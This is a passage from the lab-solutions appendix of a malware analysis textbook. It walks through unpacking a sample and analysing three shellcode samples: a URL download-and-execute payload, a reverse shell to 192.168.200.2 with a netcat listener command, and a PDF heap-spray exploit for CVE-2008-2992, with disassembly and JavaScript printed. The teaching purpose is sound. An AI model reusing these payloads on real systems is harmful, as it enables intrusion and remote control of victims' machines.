format of 32-bit executable file.” OllyDbg can load the file, but it can’t find 
the entry point for the unpacking stub and instead breaks at the system 
breakpoint, which occurs well before the unpacking stub. 
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Because we have not even reached the unpacking stub, most of our 
techniques will not work. We could step-into and step-over instructions 
carefully until we reach the unpacking stub, and then work from there, 
but that would be a long and frustrating process. Instead, we will set break-
points on LoadLibrary and GetProcAddress in order to bypass the beginning of 
the unpacking stub. 

We know that loading imported libraries and resolving the imports with 
GetProcAddress are a couple of the last steps performed by the unpacking stub. 
If we can set a breakpoint that is triggered on the last call to GetProcAddress, 
we’ll be very close to the tail jump, but there’s no way to know which call to 
GetProcAddress is last until after the call is executed. Instead, we set break-
points on LoadLibrary and GetProcAddress, and use trial-and-error to figure out 
which call is last.

We begin by setting a breakpoint on the first instruction of LoadLibrary 
by pressing CTRL-G and entering LoadLibraryA into the dialog. This should 
take us to the first instruction of LoadLibraryA, where we press F2 to set a 
breakpoint. We then repeat the process with LoadLibraryW so that we have 
a breakpoint on both versions of LoadLibrary, and then press F9 to start the 
program. 

We’re using the fact that LoadLibrary is called as a way to bypass as much 
of the unpacking stub as possible because we want to keep running the pro-
gram until the last call to LoadLibrary. Because we don’t know which call to 
LoadLibrary is the last one (until it’s too late), each time the breakpoint is hit, 
we continue running the program and note the library being loaded. If the 
library being loaded is not the last one, the program will stop very quickly 
once the next library is loaded. When the last library is loaded, the program 
should continue running, and that is how we know we have found the last 
call to LoadLibrary. When we set our breakpoint on LoadLibrary, we see that 
the first library loaded is kernel32.dll, followed by advapi32.dll, and so on. 
The fifth and sixth calls to LoadLibrary load commctrl.dll. After the sixth call, 
we continue running the program, and it does not stop. The sixth call is 
the final one. 

Now we restart our program. We reset our breakpoint on LoadLibrary, 
and then run the program until the breakpoint is hit a sixth time and the 
parameter is commctrl. Next, we set a breakpoint on GetProcAddress and per-
form the same procedure to determine which API function is the last to be 
resolved with GetProcAddress. 

We run the program several times to find out which function is loaded 
last. After a call to GetProcAddress with the value InternetOpenA, we see that the 
program continues to run without hitting our breakpoint again. Now we 
restart our program once again. We reset our breakpoints on LoadLibraryA 
and LoadLibraryW, and run the program until the final call to LoadLibrary. 
Then we run the program until the final call to GetProcAddress. 

Resolving the imports is nearly the last step in the unpacking stub. The 
only task remaining after resolving the imports is the transfer of control to 
the OEP. The unpacking stub is nearly finished, and we can step through the 
code to find the OEP.
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We step through the rest of the GetProcAddress until the ret instruction 
brings us back to the unpacking stub, and then we continue to step through 
the code until we see what looks like the tail jump. The next control transfer 
instruction is shown here:

00408EB4   STOS DWORD PTR ES:[EDI]
00408EB5   JMP SHORT Lab07_01.00408E9E

This is not the tail jump because it’s relatively short and goes to the fol-
lowing code, which doesn’t look like the start of a program.

00408E9E   LODS BYTE PTR DS:[ESI]
00408E9F   TEST AL,AL
00408EA1   JNZ SHORT Lab07_01.00408E9E

These instructions form a short loop, and we step through this code until 
the loop is finished. When the loop is complete, the code falls through to 
these instructions:

00408EA3   CMP BYTE PTR DS:[ESI],AL
00408EA5   JE SHORT Lab07_01.00408E91

This is also not the tail jump because it is relatively short and the code at 
the target doesn’t look like the start of a program.

00408E91   POP ECX
00408E92   INC ESI
00408E93   LODS DWORD PTR DS:[ESI]
00408E94   TEST EAX,EAX
00408E96   JE SHORT Lab07_01.00408EB7

The jump at this next block of code goes to a retn instruction. A normal 
program would never start with a retn instruction, so we also know that isn’t 
the tail jump.

00408EB7   C3               RETN

When we step-over the retn instruction, we see the code shown in 
Listing 18-13L.

00401190 PUSH EBP
00401191   MOV EBP,ESP
00401193   PUSH -1
00401195   PUSH Lab07_01.004040D0
0040119A   PUSH Lab07_01.00401C58
0040119F   MOV EAX,DWORD PTR FS:[0]
004011A5   PUSH EAX
004011A6   MOV DWORD PTR FS:[0],ESP
Solu t ions to Labs 693



004011AD   SUB ESP,10
004011B0   PUSH EBX
004011B1   PUSH ESI
004011B2   PUSH EDI
004011B3   MOV DWORD PTR SS:[EBP-18],ESP
004011B6 CALL DWORD PTR DS:[40404C] ; kernel32.GetVersion
004011BC   XOR EDX,EDX
004011BE   MOV DL,AH
004011C0   MOV DWORD PTR DS:[405304],EDX
004011C6   MOV ECX,EAX
004011C8   AND ECX,0FF
004011CE   MOV DWORD PTR DS:[405300],ECX
004011D4   SHL ECX,8
004011D7   ADD ECX,EDX
004011D9   MOV DWORD PTR DS:[4052FC],ECX
004011DF   SHR EAX,10
004011E2   MOV DWORD PTR DS:[4052F8],EAX
004011E7   PUSH 0
004011E9   CALL Lab07_01.00401B21
004011EE   POP ECX
004011EF   TEST EAX,EAX
004011F1   JNZ SHORT Lab07_01.004011FB
004011F3   PUSH 1C
004011F5   CALL Lab07_01.00401294
004011FA   POP ECX
004011FB   AND DWORD PTR SS:[EBP-4],0
004011FF   CALL Lab07_01.00401976
00401204 CALL DWORD PTR DS:[404048] ; kernel32.GetCommandLineA
0040120A   MOV DWORD PTR DS:[4057F8],EAX
0040120F   CALL Lab07_01.00401844
00401214   MOV DWORD PTR DS:[4052E0],EAX
00401219   CALL Lab07_01.004015F7

Listing 18-13L: The OEP for Lab18-05.exe

This looks like the OEP for several reasons:

1. It’s a relatively far jump.

2. The code starts with a push ebp at , which indicates the beginning of a 
function.

3. The code in this function calls GetVersion at  and GetCommandLineA at , 
which are commonly called at the very beginning of a program. 

Having identified the OEP, we use PluginsOllyDumpDump 
Debugged Process to dump the unpacked program. Next, we load the 
program into IDA Pro, but, unfortunately, we get some errors. Apparently, 
the program’s file headers are not fully repaired. However, IDA Pro has 
labeled the main function anyway, so we can analyze the program even 
though the PE file isn’t fully reconstructed.
694 Appendix C



1 8
The biggest roadblock is that we don’t have any import information. 
However, we can easily spot the calls to imported functions by looking for 
calls to data locations. For example, let’s look at the main method, as shown in 
Listing 18-14L.

00401000   sub     esp, 10h
00401003   lea     eax, [esp+10h+var_10]
00401007   mov     [esp+10h+var_10], offset aMalservice ; "MalService"
0040100F   push    eax
00401010   mov     [esp+14h+var_C], offset sub_401040
00401018   mov     [esp+14h+var_8], 0
00401020   mov     [esp+14h+var_4], 0
00401028 call    dword_404004
0040102E   push    0
00401030   push    0
00401032   call    sub_401040
00401037   add     esp, 18h
0040103A   retn

Listing 18-14L: The main method for unpacked Lab18-05.exe

The call at  jumps out as a call to an imported function. You can click 
the DWORD to view the address of the imported functions for this program, as 
shown in Listing 18-15L.

00404000 dword_404000    dd 77E371E9h
00404004 dword_404004    dd 77E37EB1h
00404008 dword_404008    dd 77DF697Eh
0040400C                 align 10h
00404010 dword_404010    dd 7C862AC1h 
00404014 dword_404014    dd 7C810BACh 

Listing 18-15L: Imported functions that have not been recognized by IDA Pro

To make the unpacked code easier to analyze, we turn to OllyDbg to find 
out which function is stored at those locations. The easiest way to identify 
which imported function is stored at a given address in OllyDbg is to change 
the value of any register to the address you want to look up. For example, 
to identify the imported function stored at dword_404004, double-click eax 
and enter the value 0x77E37EB1. We see that OllyDbg labels the address as 
Advapi32.StartServiceCtrlDispatcherA. We can rename the DWORD address in 
IDA Pro to StartServiceCtrlDispatcherA. Now whenever the malware calls the 
recently renamed address, it will be labeled as StartServiceCtrlDispatcherA, 
instead of dword_404004. 

We can repeat this process for each imported function, and then we will 
have a program that we can analyze in IDA Pro as if it were never packed. We 
still have not created a working version of the unpacked file, but it doesn’t 
really matter, because we can analyze the file without it. Looking at the file, 
we can tell that this is the same as Lab07-01.exe.
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Lab 19-1 Solutions

Short Answers
1. The shellcode is stored with an alphabetic encoding; each payload byte is 

stored in the low nibble of two encoded bytes.

2. The shellcode resolves the following functions:

 LoadLibraryA

 GetSystemDirectoryA

 TerminateProcess

 GetCurrentProcess

 WinExec

 URLDownloadToFileA

3. The shellcode downloads this URL:

http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe

4. The shellcode writes %SystemRoot%\System32\1.exe and executes it.

5. The shellcode downloads a file from a URL stored within the encoded 
payload, writes it to disk, and executes it.

Detailed Analysis
You can perform dynamic analysis with the shellcode_launcher.exe utility with 
the following command line:

shellcode_launcher.exe –i Lab19-01.bin -bp

The –bp option causes the program to execute a breakpoint instruc-
tion just prior to jumping to the shellcode buffer. If the system is config-
ured with a just-in-time debugger, the breakpoint instruction will cause 
shellcode_launcher.exe to be loaded by the debugger (as discussed in Chap-
ter 19). You can set OllyDbg as your just-in-time debugger by selecting 
OptionsJust-in-Time DebuggingMake OllyDbg Just-in-Time Debugger. 
If you do not set a just-in-time debugger, you can still run the program by 
specifying the shellcode_launcher.exe program as the executable to debug, but 
you must also be sure to provide the program arguments as well.

The shellcode decoder starts at  in Listing 19-1L. It uses an alphabetic 
encoding with each encoded byte between 0x41 (A) and 0x50 (P). Each pay-
load byte is stored in the low 4-bit nibble of two encoded bytes. The decoder 
loads each pair of encoded bytes, subtracts the base value 0x41, shifts and 
adds the two values, and stores the value back to memory. The push shown 
at  is used to transfer control to the payload with the retn at .

00000200   xor     ecx, ecx 
00000202   mov     cx, 18Dh
00000206   jmp     short loc_21F
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00000208
00000208   pop     esi 
00000209   push    esi 
0000020A   mov     edi, esi
0000020C loc_20C:
0000020C   lodsb
0000020D   mov     dl, al
0000020F   sub     dl, 41h ; 'A'
00000212   shl     dl, 4
00000215   lodsb
00000216   sub     al, 41h ; 'A'
00000218   add     al, dl
0000021A   stosb
0000021B   dec     ecx
0000021C   jnz     short loc_20C
0000021E   retn 
0000021F loc_21F:
0000021F   call    sub_208

Listing 19-1L: Shellcode decoder with alphabetic encoding

The start of the decoded payload begins at offset 0x224, where the 
code again performs a call/pop pair to obtain a pointer to data stored at the 
end of the payload. Two strings are stored here: URLMON and the URL http://
www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.

The shellcode uses the same findKernel32Base and findSymbolByHash func-
tions described in Chapter 19 to manually resolve import functions. The 
findKernel32Base function returns the location of kernel32.dll in memory, and 
the findSymbolByHash function manually parses the provided DLL in memory, 
looking for the export symbol whose name hashes to the given DWORD value. 
These function pointers are stored back onto the stack for use later. List-
ing 19-2L shows the decoded shellcode searching for function imports.

000002BF   pop     ebx
000002C0   call    findKernel32Base
000002C5   mov     edx, eax
000002C7   push    0EC0E4E8Eh      ; kernel32.dll:LoadLibraryA
000002CC   push    edx
000002CD   call    findSymbolByHash
000002D2   mov     [ebp-4], eax
000002D5   push    0B8E579C1h      ; kernel32.dll:GetSystemDirectoryA
000002DA   push    edx
000002DB   call    findSymbolByHash
000002E0   mov     [ebp-8], eax
000002E3   push    78B5B983h       ; kernel32.dll:TerminateProcess
000002E8   push    edx
000002E9   call    findSymbolByHash
000002EE   mov     [ebp-0Ch], eax
000002F1   push    7B8F17E6h       ; kernel32.dll:GetCurrentProcess
000002F6   push    edx
000002F7   call    findSymbolByHash
000002FC   mov     [ebp-10h], eax
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000002FF   push    0E8AFE98h       ; kernel32.dll:WinExec
00000304   push    edx
00000305   call    findSymbolByHash
0000030A   mov     [ebp-14h], eax
0000030D   lea     eax, [ebx]
0000030F   push    eax
00000310   call    dword ptr [ebp-4] ; LoadLibraryA
00000313   push    702F1A36h       ; urlmon.dll:URLDownloadToFileA
00000318   push    eax
00000319   call    findSymbolByHash

Listing 19-2L: Shellcode resolving imports

Listing 19-3L shows the main functionality of the shellcode. The malware 
retrieves the system directory at , and then appends the string 1.exe at . 
This is used as the local filesystem path argument to URLDownloadToFileA called 
at . This function is commonly found in shellcode. One function call per-
forms an HTTP GET to the URL the code specifies and stores it at the speci-
fied file path. Here, the URL is the string stored at the end of the decoded 
shellcode. Finally, the shellcode executes the downloaded file at  before 
cleanly exiting.

0000031E   mov     [ebp-18h], eax
00000321   push    80h 
00000326   lea     edi, [ebx+48h]
00000329   push    edi
0000032A   call    dword ptr [ebp-8] ; GetSystemDirectoryA 
0000032D   add     edi, eax
0000032F   mov     dword ptr [edi], 652E315Ch ; "\\1.e" 
00000335   mov     dword ptr [edi+4], 6578h   ; "xe\x00"
0000033C   xor     ecx, ecx
0000033E   push    ecx
0000033F   push    ecx
00000340   lea     eax, [ebx+48h]
00000343   push    eax             ; localFileSystemPath
00000344   lea     eax, [ebx+7]
00000347   push    eax             ; URL to download
00000348   push    ecx
00000349   call    dword ptr [ebp-18h] ; URLDownloadToFileA 
0000034C   push    5
00000351   lea     eax, [ebx+48h]      ; path to executable
00000354   push    eax
00000355   call    dword ptr [ebp-14h] ; WinExec 
00000358   call    dword ptr [ebp-10h] ; GetCurrentProcess
0000035B   push    0
00000360   push    eax
00000361   call    dword ptr [ebp-0Ch] ; TerminateProcess

Listing 19-3L: Shellcode payload
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Lab 19-2 Solutions

Short Answers
1. The program process-injects the default web browser, Internet Explorer.

2. The shellcode buffer is located at 0x407030.

3. The shellcode is XOR’ed with the byte 0xe7.

4. The shellcode manually imports the following functions:

 LoadLibraryA

 CreateProcessA

 TerminateProcess

 GetCurrentProcess

 WSAStartup

 WSASocketA

 connect

5. The shellcode connects to IP 192.168.200.2 on TCP port 13330.

6. The shellcode provides a remote shell (cmd.exe).

Detailed Analysis
The malware starts by determining the default web browser by reading the 
registry value HKCR\http\shell\open\command. The browser is created as a new 
process whose StartupInfo.wShowWindow value is set to SW_HIDE, so the process is 
hidden from the user interface. Process-injecting the default web browser is a 
common malware trick because it is normal for the web browser to perform 
network communications.

The following functions are used by the process as part of the injection:

 The function at 0x4010b0 gives the current process proper privileges to 
allow debugging.

 The function at 0x401000 gets the path to the default web browser from 
the register.

 The function at 0x401180 creates a new process, whose window is hidden 
in the GUI.

The shellcode buffer is located at 0x407030. Because the shellcode is 
capable of bootstrapping itself, dynamic analysis can be easily performed by 
opening the Lab19-02.exe program in OllyDbg and setting the origin to the 
start of the shellcode buffer. Just remember that the shellcode is designed to 
execute within the web browser after it is process-injected, but it can be eas-
ier to perform dynamic analysis in the context of the Lab19-02.exe program. 
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This shellcode is encoded with a single-byte XOR scheme. As shown in 
Listing 19-4L, 0x18f bytes are XOR’ed with the value 0xe7 at .

00407032   pop     edi
00407033   push    small 18Fh
00407037   pop     cx
00407039   mov     al, 0E7h
0040703B loc_40703B:
0040703B   xor     [edi], al 
0040703D   inc     edi
0040703E   loopw   loc_40703B
00407041   jmp     short near ptr unk_407048 

Listing 19-4L: Lab19-02.exe decode loop

The shellcode payload begins at 0x407048. Set a breakpoint on the jmp 
instruction at  in Listing 19-4L, and let the code run. The shellcode pay-
load will be decoded and available for analysis. 

The code performs a call/pop at  in Listing 19-5L to obtain the address 
of the function hashes located at 0x4071bb. Remember that all of the code 
listings that follow show disassembly of the decoded bytes, so viewing the pay-
load prior to letting the decode loop run will show different values than 
those in the listings.

004071B6   call    loc_4070E3 
004071BB   dd 0EC0E4E8Eh           ; kernel32.dll:LoadLibraryA
004071BF   dd 16B3FE72h            ; kernel32.dll:CreateProcessA
004071C3   dd 78B5B983h            ; kernel32.dll:TerminateProcess
004071C7   dd 7B8F17E6h            ; kernel32.dll:GetCurrentProcess
004071CB   dd 3BFCEDCBh            ; ws2_32.dll:WSAStartup
004071CF   dd 0ADF509D9h           ; ws2_32.dll:WSASocketA
004071D3   dd 60AAF9ECh            ; ws2_32.dll:connect

Listing 19-5L: Shellcode hash array

Next, the shellcode processes the array of symbol hashes, as shown in 
Listing 19-6L. It uses the same findKernel32Base and findSymbolByHash as 
described in Chapter 19 and Lab 19-1. It loads the next DWORD containing a 
symbol hash at , calls findSymbolByHash, and stores the result back to the 
same location at . This turns the array of hash values into a function 
pointer array.

004070E3   pop     esi
004070E4   mov     ebx, esi
004070E6   mov     edi, esi
004070E8   call    findKernel32Base
004070ED   mov     edx, eax
004070EF   mov     ecx, 4 C02      ; 4 symbols in kernel32
004070F4 loc_4070F4:
004070F4   lodsd 
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004070F5   push    eax
004070F6   push    edx
004070F7   call    findSymbolByHash
004070FC   stosd 
004070FD   loop    loc_4070F4

Listing 19-6L: Hash array processing

The shellcode constructs the string "ws2_32" in Listing 19-7L on the 
stack by pushing two DWORD values at . The current ESP is passed as the 
argument to LoadLibraryA at  to load the ws2_32.dll library. This is a com-
mon trick to form short strings the shellcode needs while it executes. The 
shellcode then proceeds to process the three remaining hash values that 
reside in ws2_32.dll at .

004070FF   push    3233h           ; "32\x00" 
00407104   push    5F327377h       ; "ws2_"
00407109   push    esp
0040710A   call    dword ptr [ebx]  ; LoadLibraryA 
0040710C   mov     edx, eax
0040710E   mov     ecx, 3           ; 3 symbols in ws2_32 
00407113 loc_407113:
00407113   lodsd
00407114   push    eax
00407115   push    edx
00407116   call    findSymbolByHash
0040711B   stosd
0040711C   loop    loc_407113

Listing 19-7L: Importing ws2_32

Listing 19-8L shows the socket-creation code. The current ESP is masked 
with EAX at  to ensure that the stack is properly aligned for structures used 
by the Winsock library. The shellcode calls WSAStartup at  to initialize the 
library before any other networking function calls are made. It then calls 
WSASocketA at  to create a TCP socket. It relies on the value in EAX being 0, 
and then increments it to create the correct arguments to WSASocketA. The 
type value is 1 (SOC_STREAM), and the af value is 2 (AF_INET).

0040711E   sub     esp, 230h
00407124   mov     eax, 0FFFFFFF0h
00407129   and     esp, eax 
0040712B   push    esp
0040712C   push    101h
00407131   call    dword ptr [ebx+10h] ; WSAStartup 
00407134   test    eax, eax
00407136   jnz     short loc_4071AA
00407138   push    eax
00407139   push    eax
0040713A   push    eax
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0040713B   push    eax             ; protocol 0: IPPROTO_IP
0040713C   inc     eax
0040713D   push    eax             ; type 1: SOCK_STREAM
0040713E   inc     eax
0040713F   push    eax             ; af 2: AF_INET
00407140   call    dword ptr [ebx+14h] ; WSASocketA 
00407143   cmp     eax, 0FFFFFFFFh
00407148   jz      short loc_4071AA

Listing 19-8L: Socket creation

Listing 19-9L shows the shellcode creating a struct sockaddr_in on the 
stack by pushing two DWORD values. The first at  is the value 2C8A8C0h. This is 
the network-byte-order value of the IP address the shellcode will connect to: 
192.168.200.2. The value at  is 12340002h, which is the sin_family (2: AF_INET) 
and sin_port values: 13330 (0x3412) in network-byte order. This sockaddr_in is 
passed to the call to connect at . Storing the IP address and port this way is 
extremely compact and makes static analysis much more difficult when try-
ing to identify network hosts. 

0040714A   mov     esi, eax
0040714C   push    2C8A8C0h     ; Server IP: 192.168.200.2 (c0.a8.c8.02)
0040714C                           ;   in nbo:  0x02c8a8c0
00407151   push    12340002h    ; Server Port: 13330 (0x3412), AF_INET (2)
00407151                           ;   in nbo: 0x12340002
00407156   mov     ecx, esp
00407158   push    10h             ; sizeof sockaddr_in
0040715D   push    ecx             ; sockaddr_in pointer
0040715E   push    eax
0040715F   call    dword ptr [ebx+18h] ; connect 
00407162   test    eax, eax
00407164   jnz     short loc_4071AA

Listing 19-9L: Socket connection

Listing 19-10L shows the shellcode responsible for creating the cmd.exe 
process. The code stores the command to execute ("cmd\x00") on the stack 
with a simple push at , and then saves the current ESP as a pointer for later 
use. The shellcode then prepares to call CreateProcessA. Most of the argu-
ments are 0 (the contents of ECX), but note that at , bInheritHandles is 1, 
indicating that file handles opened by the shellcode will be available to the 
child process.

00407166   push    646D63h         ; "cmd\x00" 
0040716B   mov     [ebx+1Ch], esp
0040716E   sub     esp, 54h
00407174   xor     eax, eax
00407176   mov     ecx, 15h
0040717B   lea     edi, [esp]
0040717E   rep stosd
00407180   mov     byte ptr [esp+10h], 44h ; sizeof(STARTUPINFO) 
00407185   inc     byte ptr [esp+3Ch] ; STARTF_USESHOWWINDOW 
702 Appendix C



1 9
00407189   inc     byte ptr [esp+3Dh] ; STARTF_USESTDHANDLES
0040718D   mov     eax, esi 
0040718F   lea     edi, [esp+48h]  ; &hStdInput 
00407193   stosd                   ; hStdInput := socket
00407194   stosd                   ; hStdOutput := socket
00407195   stosd                   ; hStdError := socket
00407196   lea     eax, [esp+10h]
0040719A   push    esp             ; lpProcessInformation
0040719B   push    eax             ; lpStartupInfo
0040719C   push    ecx
0040719D   push    ecx
0040719E   push    ecx
0040719F   push    1               ; bInheritHandles := True 
004071A1   push    ecx
004071A2   push    ecx
004071A3   push    dword ptr [ebx+1Ch] ; lpCommandLine: "cmd"
004071A6   push    ecx
004071A7   call    dword ptr [ebx+4] ; CreateProcessA

Listing 19-10L: Reverse shell creation

The STARTUPINFO struct is initialized on the stack, including the size at . 
The dwFlags field is set to STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES at . 
STARTF_USESHOWWINDOW indicates that the STARTUPINFO.wShowWindow field is valid. 
This is zero-initialized, so the new process won’t be visible. STARTF_USESTDHANDLES 
indicates that the STARTUPINFO.hStdInput, STARTUPINFO.hStdOutput, and STARTUPINFO
.hStdError fields are valid handles for the child process to use.

The shellcode moves the socket handle into EAX at  and loads the 
address of hStdInput at . The three stosd instructions store the socket han-
dle in the three handle fields of the STARTUPINFO structure. This means that 
the new cmd.exe process will use the socket for all of its standard I/O. (This is 
a common method that was shown in Chapter 7.)

You can test connections to the control server by running Netcat on a 
host with the IP address 192.168.200.2 with this command: 

nc -l -p 13330

Once Netcat is running, run Lab19-02.exe on another system. If you have 
set up networking correctly, the victim machine will connect to 192.168.200.2, 
and Netcat will show the Windows command-line banner. You can enter 
commands there as if you were sitting at the victim’s system.

Lab 19-3 Solutions

Short Answers
1. The PDF contains an example of CVE-2008-2992: buffer overflow related 

to Adobe Reader’s util.printf  JavaScript implementation. 

2. The shellcode is encoded using JavaScript’s percent-encoding and is 
stored along with the JavaScript in the PDF.
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3. The shellcode manually imports the following functions:

4. The shellcode creates the files %TEMP%\foo.exe and %TEMP%\bar.pdf.

5. The shellcode extracts two files stored encoded within the malicious PDF 
and writes them to the user’s %TEMP% directory. It executes the foo.exe 
file and opens the bar.pdf document with the default handler.

Detailed Analysis
The PDF format mixes text and binary, so simply looking at a PDF with the 
strings command or in a hex or text editor can provide some rudimentary 
information about the contents. However, this is trivially easy for attackers 
to obfuscate. PDF allows objects to be zlib-compressed. You will see /Filter 
/FlateDecode as an option in the object dictionary. In these cases, you’ll need 
to rely on other techniques to extract this data. (See Appendix B for recom-
mended malicious PDF parsers.)

Listing 19-11L shows object 9 0 from this PDF. This object contains 
JavaScript that will be executed when the document is opened. 

9 0 obj
<<
/Length 3486
>>
stream
var payload = unescape("%ue589%uec81 .... %u9090"); 
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 && version < 9) { 
    var payload;
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize+heapblock.length;
    while (bigblock.length<spray) {
        bigblock+=bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length-spray);

 LoadLibraryA

 CreateProcessA

 TerminateProcess

 GetCurrentProcess

 GetTempPathA

 SetCurrentDirectoryA

 CreateFileA

 GetFileSize

 SetFilePointer

 ReadFile

 WriteFile

 CloseHandle

 GlobalAlloc

 GlobalFree

 ShellExecuteA
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    while(block.length+spray < 0x40000) { 
        block = block+block+fillblock;
    }
    mem = new Array();
    for (i=0;i<1400;i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888888888...;
    util.printf("%45000f",num); 
} else {
    app.alert("Unknown PDF version!");
}
endstream
endobj

Listing 19-11L: PDF JavaScript object

The JavaScript examines the application version at  to determine 
whether it should attempt the exploit. Having the ability to run active con-
tent like this to profile the system is very powerful for attackers because it 
allows them to profile a system and to choose the exploit most likely to 
succeed. 

The script then performs a heap spray at , followed by the call to 
util.printf at , which will trigger the exploit. This line should look suspi-
cious due to the very large number that is being printed. In fact, an Internet 
search reveals a fairly old vulnerability: CVE-2008-2992, where improper 
bounds checking allows an overflow to occur in Adobe Reader 8.1.2 and 
earlier.

NOTE A heap spray involves making many copies of the shellcode over large areas of the pro-
cess heap, along with large NOP sleds. The attackers then exploit a vulnerability and 
overwrite a function pointer or return address with a value that points somewhere into 
the memory heap. The attackers select a value that points into the known process heap 
memory segment. The likelihood that the selected value points to a NOP sled leading 
into a valid copy of the shellcode is high enough to make this a reliable way of gaining 
execution. Heap sprays are popular in situations where the attacker can execute some 
code on the targeted system prior to launching the exploit, such as this case with 
JavaScript in the PDF.

The payload variable is initialized in Listing 19-11L at  using the unescape 
function with a long text string. The unescape function works by translating 
each % character as follows:

 If the % is followed by a u, it takes the next four characters, treats them as 
ASCII hex, and translates this into 2 bytes. The output order will be byte-
swapped due to its endianness.

 If the % is not followed by a u, it takes the next two characters, treats them 
as ASCII hex, and translates this into 1 byte.
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For example, the string begins with %ue589%uec81%u017c and will be trans-
formed into the hex sequence 0x89 0xe5 0x81 0xec 0x7c 0x01. You can use the 
Python script in Listing 19-12L to manually unescape the shellcode payload 
and turn it into a binary file suitable for further analysis, or you can use the 
file Lab19-03_sc.bin, which contains the decoded contents provided with 
the labs.

def decU16(inbuff):
    """
    Manually perform JavaScript's unescape() function.
    """
    i = 0
    outArr = [ ]
    while i < len(inbuff):
        if inbuff[i] == '"':
            i += 1
        elif inbuff[i] == '%':
            if ((i+6) <= len(inbuff)) and (inbuff[i+1] == 'u'):
                #it's a 2-byte "unicode" value
                currchar = int(inbuff[i+2:i+4], 16)
                nextchar = int(inbuff[i+4:i+6], 16)
                #switch order for little-endian
                outArr.append(chr(nextchar))
                outArr.append(chr(currchar))
                i += 6
            elif (i+3) <= len(inbuff):
                #it's just a single byte
                currchar = int(inbuff[i+1:i+3], 16)
                outArr.append(chr(currchar))
                i += 3
        else:
            # nothing to change
            outArr.append(inbuff[i])
            i += 1
    return ''.join(outArr)

payload = "%ue589%uec81 ... %u9008%u9090"

outFile = file('Lab19-03_sc.bin', 'wb')
outFile.write(decU16(payload))
outFile.close()

Listing 19-12L: Python unescape() equivalent script

You can dynamically analyze the shellcode using the following command:

shellcode_launcher.exe –i Lab19-03_sc.bin –r Lab19-03.pdf –bp

The –r option causes the program to open the specified file for reading 
prior to jumping to the shellcode, and it is required here because this piece 
of shellcode expects that there is an open file handle to the malicious 
media file. 
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The beginning of the shellcode in Listing 19-13L uses the call/pop tech-
nique to obtain a pointer to the global data starting at .

00000000   mov     ebp, esp
00000002   sub     esp, 17Ch
00000008   call    sub_17B
0000000D   dd 0EC0E4E8Eh         ; kernel32.dll:LoadLibraryA
00000011   dd 16B3FE72h            ; kernel32.dll:CreateProcessA
00000015   dd 78B5B983h            ; kernel32.dll:TerminateProcess
00000019   dd 7B8F17E6h            ; kernel32.dll:GetCurrentProcess
0000001D   dd 5B8ACA33h            ; kernel32.dll:GetTempPathA
00000021   dd 0BFC7034Fh           ; kernel32.dll:SetCurrentDirectoryA
00000025   dd 7C0017A5h            ; kernel32.dll:CreateFileA
00000029   dd 0DF7D9BADh           ; kernel32.dll:GetFileSize
0000002D   dd 76DA08ACh            ; kernel32.dll:SetFilePointer
00000031   dd 10FA6516h            ; kernel32.dll:ReadFile
00000035   dd 0E80A791Fh           ; kernel32.dll:WriteFile
00000039   dd 0FFD97FBh            ; kernel32.dll:CloseHandle
0000003D   dd 0C0397ECh            ; kernel32.dll:GlobalAlloc
00000041   dd 7CB922F6h            ; kernel32.dll:GlobalFree
00000045   dd 1BE1BB5Eh            ; shell32.dll:ShellExecuteA
00000049   dd 0C602h               ; PDF file size
0000004D   dd 106Fh                ; File #1 offset
00000051   dd 0A000h               ; File #1 size
00000055   dd 0B06Fh               ; File #2 offset
00000059   dd 144Eh                ; File #2 size

Listing 19-13L: Shellcode global data

The shellcode in Listing 19-14L uses the same findKernel32Base and 
findSymbolByHash functions defined in Chapter 19 and in Lab 19-1. As in 
Lab 19-2, the shellcode loops over the symbol hashes, resolves them, and 
stores them back to create a function pointer array. This is done 14 times 
for kernel32 at . The shellcode then creates the string shell32 on the stack 
by pushing two DWORD values at  to use as an argument to LoadLibraryA. 
A single export from shell32.dll is resolved and added to the function 
pointer array at .

0000017B   pop     esi
0000017C   mov     [ebp-14h], esi
0000017F   mov     edi, esi
00000181   mov     ebx, esi
00000183   call    findKernel32Base
00000188   mov     [ebp-4], eax
0000018B   mov     ecx, 0Eh 
00000190 loc_190:
00000190   lodsd
00000191   push    eax
00000192   push    dword ptr [ebp-4]
00000195   call    findSymbolByHash
0000019A   stosd
0000019B   loop    loc_190
0000019D   push    32336Ch         ; l32\x00 
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000001A2   push    6C656873h       ; shel
000001A7   mov     eax, esp
000001A9   push    eax
000001AA   call    dword ptr [ebx] ; LoadLibraryA
000001AC   xchg    eax, ecx
000001AD   lodsd
000001AE   push    eax
000001AF   push    ecx
000001B0   call    findSymbolByHash
000001B5   stosd 

Listing 19-14L: Hash array processing

The shellcode in Listing 19-15L then calls the GetFileSize function in a 
loop. Given an open handle, this function returns the file size the handle 
corresponds to. It initializes the handle value to 0 at  and adds 4 to it on 
each iteration at . The result is compared against the value stored at off-
set 0x3c in the shellcode’s embedded data. This value is 0xC602, and it is the 
exact size of the malicious PDF. This is how the shellcode will find the exist-
ing open handle to the PDF document that Adobe Reader had opened prior 
to the exploit launching. (It is common to store encoded data in malicious 
media files because media files can be fairly large without raising suspicions.) 
The malware requires an open handle to the malicious media file to work as 
expected, which is why the –r flag to shellcode_launcher.exe must be provided 
for this sample to perform any work.

000001B6   xor     esi, esi 
000001B8   mov     ebx, [ebp-14h]
000001BB loc_1BB:
000001BB   add     esi, 4 
000001C1   lea     eax, [ebp-8]
000001C4   push    eax
000001C5   push    esi
000001C6   call    dword ptr [ebx+1Ch] ; GetFileSize
000001C9   cmp     eax, [ebx+3Ch]      ; PDF file size
000001CC   jnz     short loc_1BB
000001CE   mov     [ebp-8], esi

Listing 19-15L: PDF handle search

One variant of the technique of finding the open handle of the mali-
cious media file involves checking that the file size meets some minimum 
value, at which point the shellcode will search the file for specific markers 
that confirm that it is the correct handle. This variant saves the writers from 
storing the exact size of the output file within the shellcode.

The shellcode in Listing 19-16L allocates a buffer of memory at  based 
on the value stored at offset 0x44 in the embedded data. This stored value is 
